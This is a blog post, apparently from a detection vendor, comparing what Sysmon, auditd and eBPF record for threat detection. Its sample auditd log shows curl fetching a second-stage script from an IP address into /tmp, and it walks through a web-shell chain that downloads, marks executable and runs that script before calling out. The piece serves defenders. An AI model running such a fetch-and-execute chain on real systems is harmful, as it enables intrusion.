DEV Community

Adam Miller
Adam Miller

Posted on

Sysmon vs auditd vs eBPF: What Each One Actually Sees

Every detection conversation eventually stalls on the same question: where is the data coming from?

It sounds like plumbing. It isn't. Your telemetry source determines the ceiling on what you can ever detect. No amount of clever rule writing or machine learning recovers a field that was never collected. If your sensor doesn't record the parent process, you cannot write a parent-child rule, and that's the end of the discussion.

So this is a comparison of the three sources most teams actually run (Sysmon on Windows, auditd on Linux, and eBPF on newer Linux), focused on what each one really gives you rather than what its documentation claims.

I'll say up front that these aren't strictly competitors. Sysmon is Windows-only. auditd and eBPF are both Linux, and they overlap heavily. Most real estates end up running Sysmon on one side and one of the other two on the other. But the comparison is still worth making, because the shape of the data differs enormously, and that shape is what your detection logic has to live with.


The short version

Capability matrix comparing Sysmon, auditd and eBPF across nine detection-relevant capabilities: rich process creation, stable process identity, file hashes, network tied to process, full command line, container attribution, filtering before the copy, resilience under burst, and coverage across an estate

The same comparison in full, including the parts that don't fit in a graphic:

Sysmon auditd eBPF
Platform Windows Linux Linux (kernel 4.18+, realistically 5.8+)
Layer Kernel driver + service Kernel audit subsystem In-kernel VM, kprobes/tracepoints/LSM
Process creation Event ID 1, rich execve syscall, fragmented Full, structured
File hashes Built in (MD5/SHA1/SHA256/IMPHASH) No Possible, but you implement it
Network Event ID 3, with PID + process Weak, syscall-level only Strong, with socket + process context
DNS Event ID 22 No Yes, with work
Correlation ID ProcessGUID None Depends on implementation
Container awareness N/A Poor Native (cgroup/namespace)
In-kernel filtering Limited No, filter after the fact Yes
Overhead Moderate Moderate to high Low to moderate
Event loss under load Rare Common (backlog limit) Possible (ring buffer overrun)
Config difficulty Moderate (XML) Moderate (audit.rules) High
Tamper resistance Moderate Moderate Moderate to high

If you want the one-sentence version: Sysmon is the best-designed of the three, auditd is the most universally available, and eBPF is where Linux telemetry is going.


Sysmon

Sysmon is a Sysinternals tool: a kernel driver plus a userspace service that writes enriched events into the Windows Event Log. It's free, Microsoft-signed, and it has been the de facto standard for Windows endpoint visibility for the better part of a decade.

What makes it good isn't the event coverage, though that's broad. It's that Sysmon was clearly designed by someone who had to use the output.

Take process creation, Event ID 1. A single event gives you:

  • The image path and command line
  • The parent image path and command line
  • File hashes, several algorithms at once if you want them
  • The user, the logon GUID, the integrity level
  • The current directory
  • And a ProcessGUID

That last field deserves its own paragraph.

ProcessGUID is the feature nobody talks about enough

PIDs get reused. On a busy host, a PID that belonged to a malicious process ten minutes ago might belong to something completely benign now. If you're correlating events by PID, and lots of tooling does, you will eventually stitch two unrelated processes into one fictional chain and hand an analyst a story that never happened.

Sysmon assigns every process a globally unique ID that never repeats. Every subsequent event from that process carries it. Parent-child relationships reference it. This means you can reconstruct an accurate process tree from Sysmon data hours after the fact, with confidence.

auditd gives you nothing equivalent. That single difference accounts for a disproportionate amount of the pain in Linux detection engineering.

Where Sysmon falls down

It's noisy by default, and the default config is close to useless. You need a curated configuration (the SwiftOnSecurity or Olaf Hartong configs are the usual starting points) or you'll drown in image-load events.

It writes to the Windows Event Log, which means you inherit Event Log's throughput characteristics and its collection story. That's fine at small scale and gets interesting at large scale.

And it's a userland-visible service with a driver. A sufficiently privileged attacker can stop it, unload it, or tamper with its config. Sysmon 13+ added ProcessTampering detection (Event ID 25), which helps, but "helps" is doing real work in that sentence.


auditd

auditd is the userspace daemon for the Linux kernel's audit subsystem. It's been in the kernel for a very long time, it's present or trivially installable on essentially every distribution, and it's what most compliance frameworks expect you to be running.

It works at the syscall layer. You write rules that say "record every execve" or "record every write to /etc/passwd," and the kernel emits records.

Here's what makes it painful.

One logical event, many records

An execve doesn't produce one audit record. It produces several: a SYSCALL record, an EXECVE record with the arguments, one or more PATH records, a CWD record, a PROCTITLE record. They share an event ID and timestamp, and it's your job to join them back together.

type=SYSCALL   msg=audit(1735689600.123:4471): arch=c000003e syscall=59 success=yes
               exit=0 a0=... ppid=2841 pid=2903 auid=1000 uid=1000 comm="curl"
               exe="/usr/bin/curl" key="exec"
type=EXECVE    msg=audit(1735689600.123:4471): argc=3 a0="curl" a1="-s"
               a2="http://198.51.100.7/x.sh"
type=CWD       msg=audit(1735689600.123:4471): cwd="/tmp"
type=PATH      msg=audit(1735689600.123:4471): item=0 name="/usr/bin/curl" ...
type=PROCTITLE msg=audit(1735689600.123:4471): proctitle=6375726C002D73...
Enter fullscreen mode Exit fullscreen mode

That's one command. Every consumer of auditd data has to implement this reassembly, and most implement it slightly differently.

The things it just doesn't have

  • No file hashes. If you want to know what binary actually ran, you hash it yourself, out of band, and hope it hasn't been replaced in the interim.
  • No process GUID. PID reuse is your problem.
  • Truncated arguments. PROCTITLE is capped, so long command lines get truncated. Those are exactly the ones you care about, the base64-encoded ones.
  • Weak network visibility. You can audit connect and accept, but stitching syscall-level socket activity back into "this process talked to this host" is significant work.
  • Poor container awareness. auditd reports the host PID namespace. Working out which container a record came from ranges from awkward to impossible depending on your setup.

And it drops events

The audit subsystem has a fixed backlog. When the kernel produces records faster than auditd drains them, records are lost. You can raise backlog_limit, and you should, but under a burst, which is precisely what an attack looks like, you can lose exactly the records you needed. auditd will tell you it happened, which is something, but the data is gone.

To be fair to auditd: it is everywhere, it needs no special kernel, it survives in locked-down and air-gapped environments, and auditors know what it is. Those are real advantages and they're why it isn't going anywhere.


eBPF

eBPF lets you load small, verified programs into the running kernel and attach them to tracepoints, kprobes, or LSM hooks. For security monitoring this changes the economics in a few specific ways.

You filter in the kernel. With auditd, everything matching your rules goes to userspace and you discard what you don't want, after paying the cost of moving it. An eBPF program can decide in-kernel that an event is uninteresting and never emit it. On a busy host that difference is large.

You get structured events. You're writing the program, so you emit one coherent record with the fields you want, rather than reassembling five record types.

You get container context natively. Cgroup and namespace IDs are available at the point of collection, so container attribution isn't a reconstruction exercise.

You can hook things auditd can't reach meaningfully: TLS library calls before encryption, specific kernel functions, LSM decision points.

Diagram of the eBPF collection path: kernel events such as execve, connect and openat reach a verified eBPF program that filters and enriches in-kernel; uninteresting events are dropped without ever being copied, while only what matters crosses into user space through a ring buffer to the agent. With auditd, by contrast, every record matching a rule crosses that boundary first and is filtered afterwards

The catch

eBPF is not free lunch.

Kernel version requirements are real. CO-RE and BTF make portable eBPF practical, but that realistically means kernel 5.8+ for a comfortable life. If your estate includes CentOS 7 boxes, and someone's estate always includes CentOS 7 boxes, eBPF is not available there and you're falling back to auditd anyway.

The verifier is strict. Programs must be provably terminating and memory-safe. This is what makes eBPF safe to run in the kernel, and it also makes it genuinely hard to write. Loop bounds, stack limits, and helper restrictions shape what you can express.

Ring buffers can still overflow. eBPF reduces the loss problem substantially; it doesn't eliminate it.

It's a moving target. Hook stability across kernel versions requires ongoing work. A kprobe on an internal function can break on a kernel upgrade in a way a tracepoint won't.

You mostly don't write raw eBPF yourself. You use Falco, Tetragon, Tracee, or a vendor's agent. But it's worth understanding what's underneath, because the differences between those tools come down to which hooks they use and what they emit.


What each one sees: the same attack, three ways

Consider a simple chain: a web shell executing a command that pulls down a second stage.

The same attack chain seen by three sensors: nginx spawns sh -c, which runs curl against 198.51.100.7 to pull x.sh, which is made executable with chmod +x and run, and which then makes an outbound connection to C2. Sysmon reconstructs it trivially via ProcessGUID; auditd needs joins across five record types with possible truncation and dropped records; eBPF emits structured events with container attribution and the connection already tied to its process

Sysmon (if this were the Windows equivalent) gives you the whole chain with ProcessGUIDs linking each step, hashes on every binary, full command lines, and the outbound connection tied to its originating process. Reconstruction is close to trivial.

auditd gives you the executions, if you rule for execve. The curl command line may be truncated. The outbound connection is a connect syscall you have to associate with the process yourself. If the machine was busy, one of these records may simply not exist. You will probably get there, but you'll be doing joins.

eBPF gives you the chain as structured events with container attribution, the network connection already tied to the process, and, depending on the implementation, whatever enrichment the program author decided to add at collection time.

The attack is the same in all three. The reconstruction cost is not remotely the same.


Choosing

Windows: run Sysmon with a curated config. There isn't a serious argument against it. If you have an EDR that already collects equivalent telemetry, check whether it gives you ProcessGUID-equivalent correlation before you decide Sysmon is redundant.

Linux, mixed or older kernels: auditd, tuned narrowly. Rule for what you need: execve, a small set of sensitive file paths, module loading. Not for everything. Broad auditd rules are how you get the backlog drops. Raise backlog_limit and monitor lost counts as a health metric, because silent telemetry loss is worse than no telemetry.

Linux, modern kernels: eBPF, via one of the established tools. Better data, lower overhead, native container context.

Realistically: both, on Linux. eBPF where the kernel supports it, auditd as the floor everywhere else, and a normalisation layer so your detection logic doesn't have to care which one produced a given event.

That last point is the one people underestimate. Running two collectors is easy. Writing detection logic that works identically against both, with the same field names, the same process identity model, the same guarantees, is the actual work.


The thing all three have in common

Every one of these produces a stream of events. Process started. File written. Socket opened.

But almost nothing in that stream is suspicious on its own. curl isn't suspicious. chmod +x isn't suspicious. A process writing to /tmp isn't suspicious. What's suspicious is the shape: a web server process with a shell child, which fetched a file, which was made executable, which then ran and called out.

The signal is in the relationships between events, not in the events. Whichever sensor you pick, that reassembly is a problem you still have to solve. Your telemetry choice determines how expensive it is: whether you have stable process identity, whether the parent field is reliable, whether the command line survived intact.

Pick the sensor that makes the graph cheap to build. That's the actual selection criterion, and it's the one most comparisons skip.


Written by the team at Logster, where we build behavioural detection on top of exactly this telemetry: Sysmon, auditd, and a purpose-built eBPF collector. If you want the deeper version, the documentation covers our collection model in more detail.

Top comments (0)